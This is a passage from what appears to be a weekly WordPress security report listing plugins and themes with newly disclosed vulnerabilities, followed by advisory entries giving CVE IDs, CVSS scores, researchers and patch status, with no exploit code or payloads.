[admin-side-data-storage-for-contact-form-7](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/admin-side-data-storage-for-contact-form-7>) \nAuto Rename Media On Upload | [auto-rename-media-on-upload](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/auto-rename-media-on-upload>) \nBackup Bank: WordPress Backup Plugin | [wp-backup-bank](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-backup-bank>) \nBe POPIA Compliant | [be-popia-compliant](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/be-popia-compliant>) \nBranda \u2013 White Label WordPress, Custom Login Page Customizer | [branda-white-labeling](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/branda-white-labeling>) \nBulk Resize Media | [bulk-resize-media](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bulk-resize-media>) \nCF7 Invisible reCAPTCHA | [cf7-invisible-recaptcha](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cf7-invisible-recaptcha>) \nCMS Press | [cms-press](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cms-press>) \nCalendar Event Multi View | [cp-multi-view-calendar](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cp-multi-view-calendar>) \nChronoforms | [chronoforms](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/chronoforms>) \nContact Form 7 Redirect & Thank You Page | [cf7-redirect-thank-you-page](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cf7-redirect-thank-you-page>) \nContact Form 7 \u2013 PayPal & Stripe Add-on | [contact-form-7-paypal-add-on](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-7-paypal-add-on>) \nContact Form Email | [contact-form-to-email](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-to-email>) \nCustom Options Plus | [custom-options-plus](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-options-plus>) \nCustomify \u2013 Intuitive Website Styling | [customify](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/customify>) \nData Tables Generator by Supsystic | [data-tables-generator-by-supsystic](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/data-tables-generator-by-supsystic>) \nDrag and Drop Multiple File Upload PRO - Contact Form 7 Standard | [drag-n-drop-upload-cf7-pro](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-n-drop-upload-cf7-pro>) \nDynamics 365 Integration | [integration-dynamics](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integration-dynamics>) \nEasy Event calendar | [easy-event-calendar](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-event-calendar>) \nEcwid Ecommerce Shopping Cart | [ecwid-shopping-cart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ecwid-shopping-cart>) \nEmbed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files | [embed-any-document](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/embed-any-document>) \nEvent Manager and Tickets Selling Plugin for WooCommerce | [mage-eventpress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mage-eventpress>) \nExxp | [exxp-wp](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/exxp-wp>) \nFluid Checkout for WooCommerce \u2013 Lite | [fluid-checkout](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluid-checkout>) \nForce First and Last Name as Display Name | [force-first-last](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/force-first-last>) \nGoogle XML Sitemap for Images | [google-image-sitemap](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/google-image-sitemap>) \nGoogle XML Sitemap for Videos | [xml-sitemaps-for-videos](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/xml-sitemaps-for-videos>) \nHT Feed | [ht-instagram](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ht-instagram>) \nHotel Booking Lite | [motopress-hotel-booking-lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/motopress-hotel-booking-lite>) \nImport External Images | [import-external-images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/import-external-images>) \nKlaviyo | [klaviyo](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/klaviyo>) \nLOGIN AND REGISTRATION ATTEMPTS LIMIT | [login-attempts-limit-wp](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/login-attempts-limit-wp>) \nModern Events Calendar Lite | [modern-events-calendar-lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/modern-events-calendar-lite>) \nModern Footnotes | [modern-footnotes](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/modern-footnotes>) \nOpen RDW kenteken voertuiginformatie | [open-rdw-kenteken-voertuiginformatie](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/open-rdw-kenteken-voertuiginformatie>) \nPB SEO Friendly Images | [pb-seo-friendly-images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/pb-seo-friendly-images>) \nPhonePe Payment Solutions | [phonepe-payment-solutions](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/phonepe-payment-solutions>) \nPhoto Gallery, Images, Slider in Rbs Image Gallery | [robo-gallery](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/robo-gallery>) \nPopup Maker \u2013 Popup for opt-ins, lead gen, & more | [popup-maker](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/popup-maker>) \nPrint Invoice & Delivery Notes for WooCommerce | [woocommerce-delivery-notes](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-delivery-notes>) \nRapidLoad Power-Up for Autoptimize | [unusedcss](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/unusedcss>) \nRedirection | [redirect-redirection](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/redirect-redirection>) \nReturn and Warranty Management System for WooCommerce | [wc-return-warrranty](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-return-warrranty>) \nReusable Blocks Extended | [reusable-blocks-extended](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/reusable-blocks-extended>) \nSEO Plugin by Squirrly SEO | [squirrly-seo](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/squirrly-seo>) \nSMTP2GO \u2013 Email Made Easy | [smtp2go](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smtp2go>) \nShopping Cart & eCommerce Store | [wp-easycart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-easycart>) \nSite Reviews | [site-reviews](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/site-reviews>) \nSlide Anything \u2013 Responsive Content / HTML Slider and Carousel | [slide-anything](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slide-anything>) \nSlideshow Gallery LITE | [slideshow-gallery](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slideshow-gallery>) \nSolidres \u2013 Hotel booking plugin for WordPress | [solidres](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/solidres>) \nStore Locator for WordPress with Google Maps \u2013 LotsOfLocales | [store-locator](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/store-locator>) \nSurbma | GDPR Proof Cookie Consent & Notice Bar | [surbma-gdpr-proof-google-analytics](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/surbma-gdpr-proof-google-analytics>) \nTags Cloud Manager | [tags-cloud-manager](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tags-cloud-manager>) \nUpdraftPlus WordPress Backup Plugin | [updraftplus](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus>) \nUser Role by BestWebSoft \u2013 Add and Customize Roles and Capabilities in WordPress | [user-role](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-role>) \nWH Testimonials | [wh-testimonials](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wh-testimonials>) \nWP Basic Elements | [wp-basic-elements](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-basic-elements>) \nWP Express Checkout (Accept PayPal Payments Easily) | [wp-express-checkout](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-express-checkout>) \nWP Job Portal \u2013 A Complete Job Board | [wp-job-portal](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-job-portal>) \nWP Popup Banners | [wp-popup-banners](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-popup-banners>) \nWP Shortcode by MyThemeShop | [wp-shortcode](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-shortcode>) \nWP Simple Events | [wp-simple-events](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-simple-events>) \nWSB Brands | [wsb-brands](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wsb-brands>) \nWebsite Monetization by MageNet | [website-monetization-by-magenet](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/website-monetization-by-magenet>) \nWooCommerce Weight Based Shipping | [weight-based-shipping-for-woocommerce](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/weight-based-shipping-for-woocommerce>) \nWordPress Console | [wordpress-console](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-console>) \nWordPress Email Marketing Plugin \u2013 WP Email Capture | [wp-email-capture](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-email-capture>) \nWordPress Mortgage Calculator Estatik | [estatik-mortgage-calculator](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/estatik-mortgage-calculator>) \nWordPress Online Booking and Scheduling Plugin \u2013 Bookly | [bookly-responsive-appointment-booking-tool](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bookly-responsive-appointment-booking-tool>) \nWordPress Plugin for Google Maps \u2013 WP MAPS | [wp-google-map-plugin](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-google-map-plugin>) \nWordPress Simple Shopping Cart | [wordpress-simple-paypal-shopping-cart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-simple-paypal-shopping-cart>) \nWordPress WP-Advanced-Search | [wp-advanced-search](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-advanced-search>) \nYandex.News Feed by Teplitsa | [yandexnews-feed-by-teplitsa](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/yandexnews-feed-by-teplitsa>) \neCommerce Product Catalog Plugin for WordPress | [ecommerce-product-catalog](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ecommerce-product-catalog>) \nwpml | [wpml](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpml>) \n \n* * *\n\n### WordPress Themes with Reported Vulnerabilities Last Week\n\n**Software Name** | **Software Slug** \n---|--- \nBrilliance | [brilliance](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/brilliance>) \nChankhe | [chankhe](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/chankhe>) \nMediciti Lite | [mediciti-lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/mediciti-lite>) \nNewsMag | [newsmag](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/newsmag>) \nReal Estate Directory | [real-estate-directory](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/real-estate-directory>) \nRegina Lite | [regina-lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/regina-lite>) \nintrepidity | [intrepidity](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/intrepidity>) \n \n* * *\n\n### Vulnerability Details\n\n#### [Be POPIA Compliant <= 1.2.0 - Unauthenticated SQL Injection](<https://wordfence.com/threat-intel/vulnerabilities/id/eecd1497-c94e-4f67-8cc5-72afffe9fae2>)\n\n**Affected Software**: [Be POPIA Compliant](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/be-popia-compliant>) \n**CVE ID**: CVE-2022-47445 \n**CVSS Score**: 9.8 (Critical) \n**Researcher/s**: [TEAM WEBoB of BoB 11th](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/team-webob-of-bob-11th>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/eecd1497-c94e-4f67-8cc5-72afffe9fae2>\n\n* * *\n\n#### [Intrepidity <= 1.5.1 - Cross-Site Request Forgery via mytheme_add_admin](<https://wordfence.com/threat-intel/vulnerabilities/id/01cc613a-d0b5-4c8f-8961-8f8aaf63b8ac>)\n\n**Affected Software**: [intrepidity](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/intrepidity>) \n**CVE ID**: CVE-2023-27634 \n**CVSS Score**: 8.8 (High) \n**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/01cc613a-d0b5-4c8f-8961-8f8aaf63b8ac>\n\n* * *\n\n#### [UpdraftPlus 1.22.14 to 1.23.2 and UpdraftPlus (Premium) 2.22.14 to 2.23.2 - Privilege Escalation via updraft_central_ajax_handler](<https://wordfence.com/threat-intel/vulnerabilities/id/2e329432-c404-4312-969b-42cac345637d>)\n\n**Affected Software**: [UpdraftPlus WordPress Backup Plugin](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 8.8 (High) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/2e329432-c404-4312-969b-42cac345637d>\n\n* * *\n\n#### [WP Popup Banners <= 1.2.5 - Authenticated (Subscriber+) SQL Injection](<https://wordfence.com/threat-intel/vulnerabilities/id/8281cb20-73d3-4ab5-910e-d353b2a5cbd8>)\n\n**Affected Software**: [WP Popup Banners](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-popup-banners>) \n**CVE ID**: CVE-2023-1471 \n**CVSS Score**: 8.8 (High) \n**Researcher/s**: [Etan Imanol Castro Aldrete](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/etan-imanol-castro-aldrete>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8281cb20-73d3-4ab5-910e-d353b2a5cbd8>\n\n* * *\n\n#### [User Role by BestWebSoft <= 1.6.6 - Cross-Site Request Forgery to Privilege Escalation](<https://wordfence.com/threat-intel/vulnerabilities/id/8b4bc525-a21f-46f2-895a-c8474f72eb92>)\n\n**Affected Software**: [User Role by BestWebSoft \u2013 Add and Customize Roles and Capabilities in WordPress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-role>) \n**CVE ID**: CVE-2023-0820 \n**CVSS Score**: 8.8 (High) \n**Researcher/s**: [dc11](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dc11>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8b4bc525-a21f-46f2-895a-c8474f72eb92>\n\n* * *\n\n#### [WordPress Email Marketing Plugin \u2013 WP Email Capture <= 3.10 - Missing Authorization to Email Capture List Download](<https://wordfence.com/threat-intel/vulnerabilities/id/a41d78b9-9bdb-48dd-b3ec-2559e79fa251>)\n\n**Affected Software**: [WordPress Email Marketing Plugin \u2013 WP Email Capture](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-email-capture>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 8.2 (High) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/a41d78b9-9bdb-48dd-b3ec-2559e79fa251>\n\n* * *\n\n#### [Admin side data storage for Contact Form 7 <= 1.1.1 - Unauthenticated Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/172b2191-6595-47dd-bf2d-97dc3d17e5ca>)\n\n**Affected Software**: [Admin side data storage for Contact Form 7](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/admin-side-data-storage-for-contact-form-7>) \n**CVE ID**: CVE-2023-24420 \n**CVSS Score**: 7.2 (High) \n**Researcher/s**: [Bhuvanesh Jayaprakash](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/bhuvanesh-jayaprakash>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/172b2191-6595-47dd-bf2d-97dc3d17e5ca>\n\n* * *\n\n#### [Tags Cloud Manager <= 1.0.0 - Unauthenticated Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/6ad70391-7ea0-49c0-ac5c-ecf7ddb3c948>)\n\n**Affected Software**: [Tags Cloud Manager](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tags-cloud-manager>) \n**CVE ID**: CVE-2023-28166 \n**CVSS Score**: 7.2 (High) \n**Researcher/s**: [Nithissh S](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nithissh-s>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/6ad70391-7ea0-49c0-ac5c-ecf7ddb3c948>\n\n* * *\n\n#### [Shopping Cart & eCommerce Store <= 5.4.2 - Authenticated (Admin+) Local File Inclusion via import_file_url](<https://wordfence.com/threat-intel/vulnerabilities/id/936e753b-b3e9-43c9-8686-c610faa8b20e>)\n\n**Affected Software**: [Shopping Cart & eCommerce Store](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-easycart>) \n**CVE ID**: CVE-2023-1124 \n**CVSS Score**: 7.2 (High) \n**Researcher/s**: [Shreya Pohekar](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/shreya-pohekar>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/936e753b-b3e9-43c9-8686-c610faa8b20e>\n\n* * *\n\n#### [WH Testimonials <= 3.0.0 - Unauthenticated Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/b6fe5f1a-787e-4662-915f-c6f04961e194>)\n\n**Affected Software**: [WH Testimonials](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wh-testimonials>) \n**CVE ID**: CVE-2023-1372 \n**CVSS Score**: 7.2 (High) \n**Researcher/s**: [Daniel Kelley](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daniel-kelley>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b6fe5f1a-787e-4662-915f-c6f04961e194>\n\n* * *\n\n#### [Bookly <= 21.5 - Unauthenticated Stored Cross-Site Scripting via Name](<https://wordfence.com/threat-intel/vulnerabilities/id/c3efbd9d-e2b5-4915-a964-29a49c7fba86>)\n\n**Affected Software**: [WordPress Online Booking and Scheduling Plugin \u2013 Bookly](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bookly-responsive-appointment-booking-tool>) \n**CVE ID**: CVE-2023-1172 \n**CVSS Score**: 7.2 (High) \n**Researcher/s**: [Vinay Kumar](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/vinay-kumar>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/c3efbd9d-e2b5-4915-a964-29a49c7fba86>\n\n* * *\n\n#### [Return and Warranty Management System for WooCommerce <= 1.2.3 - Unauthenticated Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/fa1e6527-d874-4003-b36b-5769c2950864>)\n\n**Affected Software**: [Return and Warranty Management System for WooCommerce](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-return-warrranty>) \n**CVE ID**: CVE-2023-22710 \n**CVSS Score**: 7.2 (High) \n**Researcher/s**: [Le Ngoc Anh](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/le-ngoc-anh>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/fa1e6527-d874-4003-b36b-5769c2950864>\n\n* * *\n\n#### [Slideshow Gallery LITE <= 1.7.6 - Authenticated(Admin+) SQL Injection](<https://wordfence.com/threat-intel/vulnerabilities/id/61b07604-b206-4f13-b25f-7a6d54236eb1>)\n\n**Affected Software**: [Slideshow Gallery LITE](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slideshow-gallery>) \n**CVE ID**: CVE-2023-28491 \n**CVSS Score**: 6.5 (Medium) \n**Researcher/s**: [minhtuanact](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/minhtuanact>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/61b07604-b206-4f13-b25f-7a6d54236eb1>\n\n* * *\n\n#### [Exxp <= 2.6.8 - Authenticated (Subscriber+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/0de75f3f-1e6b-42ea-9f08-54c32e37b4c7>)\n\n**Affected Software**: [Exxp](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/exxp-wp>) \n**CVE ID**: CVE-2022-45812 \n**CVSS Score**: 6.4 (Medium) \n**Researcher/s**: [Aman Rawat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/aman-rawat>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/0de75f3f-1e6b-42ea-9f08-54c32e37b4c7>\n\n* * *\n\n#### [Slide Anything <= 2.4.7 - Authenticated (Author+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/130b069d-d224-44af-b2b4-26be7e081f6b>)\n\n**Affected Software**: [Slide Anything \u2013 Responsive Content / HTML Slider and Carousel](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slide-anything>) \n**CVE ID**: CVE-2023-28499 \n**CVSS Score**: 6.4 (Medium) \n**Researcher/s**: [FearZzZz](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/vlad-visse>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/130b069d-d224-44af-b2b4-26be7e081f6b>\n\n* * *\n\n#### [Surbma | GDPR Proof Cookie Consent & Notice Bar <= 17.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/48b9f3e3-b7fd-4d7c-8f8b-b11ed977aa92>)\n\n**Affected Software**: [Surbma | GDPR Proof Cookie Consent & Notice Bar](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/surbma-gdpr-proof-google-analytics>) \n**CVE ID**: CVE-2023-23894 \n**CVSS Score**: 6.4 (Medium) \n**Researcher/s**: [yuyudhn](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/yuyudhn>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/48b9f3e3-b7fd-4d7c-8f8b-b11ed977aa92>\n\n* * *\n\n#### [Robo Gallery <= 3.2.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcodes](<https://wordfence.com/threat-intel/vulnerabilities/id/4e0424f8-f60f-49c3-9969-a88c830dc0e2>)\n\n**Affected Software**: [Photo Gallery, Images, Slider in Rbs Image Gallery](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/robo-gallery>) \n**CVE ID**: CVE-2023-27620 \n**CVSS Score**: 6.4 (Medium) \n**Researcher/s**: [Rafshanzani Suhada](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafshanzani-suhada>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/4e0424f8-f60f-49c3-9969-a88c830dc0e2>\n\n* * *\n\n#### [Ecwid Shopping Cart <= 6.11.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode](<https://wordfence.com/threat-intel/vulnerabilities/id/c8c530e2-ce42-40f3-82ab-1df9089a5407>)\n\n**Affected Software**: [Ecwid Ecommerce Shopping Cart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ecwid-shopping-cart>) \n**CVE ID**: CVE-2023-24408 \n**CVSS Score**: 6.4 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/c8c530e2-ce42-40f3-82ab-1df9089a5407>\n\n* * *\n\n#### [Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files <= 2.7.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG files](<https://wordfence.com/threat-intel/vulnerabilities/id/eebe37bf-2983-47c0-afd8-0aa3e7982196>)\n\n**Affected Software**: [Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/embed-any-document>) \n**CVE ID**: CVE-2023-23707 \n**CVSS Score**: 6.4 (Medium) \n**Researcher/s**: [n0paew](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/n0paew>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/eebe37bf-2983-47c0-afd8-0aa3e7982196>\n\n* * *\n\n#### [WP Job Portal <= 1.1.9 - Authenticated (Subscriber+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/f11ea6b2-1225-42a5-aa7b-260315d0bec5>)\n\n**Affected Software**: [WP Job Portal \u2013 A Complete Job Board](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-job-portal>) \n**CVE ID**: CVE-2023-28534 \n**CVSS Score**: 6.4 (Medium) \n**Researcher/s**: [Fariq Fadillah Gusti Insani](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/fariq-fadillah-gusti-insani>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/f11ea6b2-1225-42a5-aa7b-260315d0bec5>\n\n* * *\n\n#### [RapidLoad Power-Up for Autoptimize <= 1.7.1 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/8f9ee168-82b1-4d13-a84e-379f16dcb283>)\n\n**Affected Software**: [RapidLoad Power-Up for Autoptimize](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/unusedcss>) \n**CVE ID**: CVE-2023-1472 \n**CVSS Score**: 6.3 (Medium) \n**Researcher/s**: [Marco Wotschka](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/marco-wotschka>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8f9ee168-82b1-4d13-a84e-379f16dcb283>\n\n* * *\n\n#### [SEO Plugin by Squirrly SEO <= 12.1.20 - Missing Authorization](<https://wordfence.com/threat-intel/vulnerabilities/id/9251afbb-1a6d-40c6-b62e-a8866742f669>)\n\n**Affected Software**: [SEO Plugin by Squirrly SEO](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/squirrly-seo>) \n**CVE ID**: CVE-2022-44626 \n**CVSS Score**: 6.3 (Medium) \n**Researcher/s**: [Rafie Muhammad](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafie-muhammad>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/9251afbb-1a6d-40c6-b62e-a8866742f669>\n\n* * *\n\n#### [Data Tables Generator by Supsystic <= 1.10.25 - Missing Authorization](<https://wordfence.com/threat-intel/vulnerabilities/id/ae98e3bd-f663-4609-92ed-ed0431047d85>)\n\n**Affected Software**: [Data Tables Generator by Supsystic](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/data-tables-generator-by-supsystic>) \n**CVE ID**: CVE-2023-25043 \n**CVSS Score**: 6.3 (Medium) \n**Researcher/s**: [Rafshanzani Suhada](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafshanzani-suhada>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/ae98e3bd-f663-4609-92ed-ed0431047d85>\n\n* * *\n\n#### [Open RDW kenteken voertuiginformatie <= 2.0.14 - Reflected Cross-Site Scripting via open_data_rdw_kenteken](<https://wordfence.com/threat-intel/vulnerabilities/id/1fa87357-09c0-4e99-8ceb-41a7987c4a57>)\n\n**Affected Software**: [Open RDW kenteken voertuiginformatie](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/open-rdw-kenteken-voertuiginformatie>) \n**CVE ID**: CVE-2022-47431 \n**CVSS Score**: 6.1 (Medium) \n**Researcher/s**: [minhtuanact](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/minhtuanact>) \n**Patch Status**: Patched \n**Vulnerability Details:** 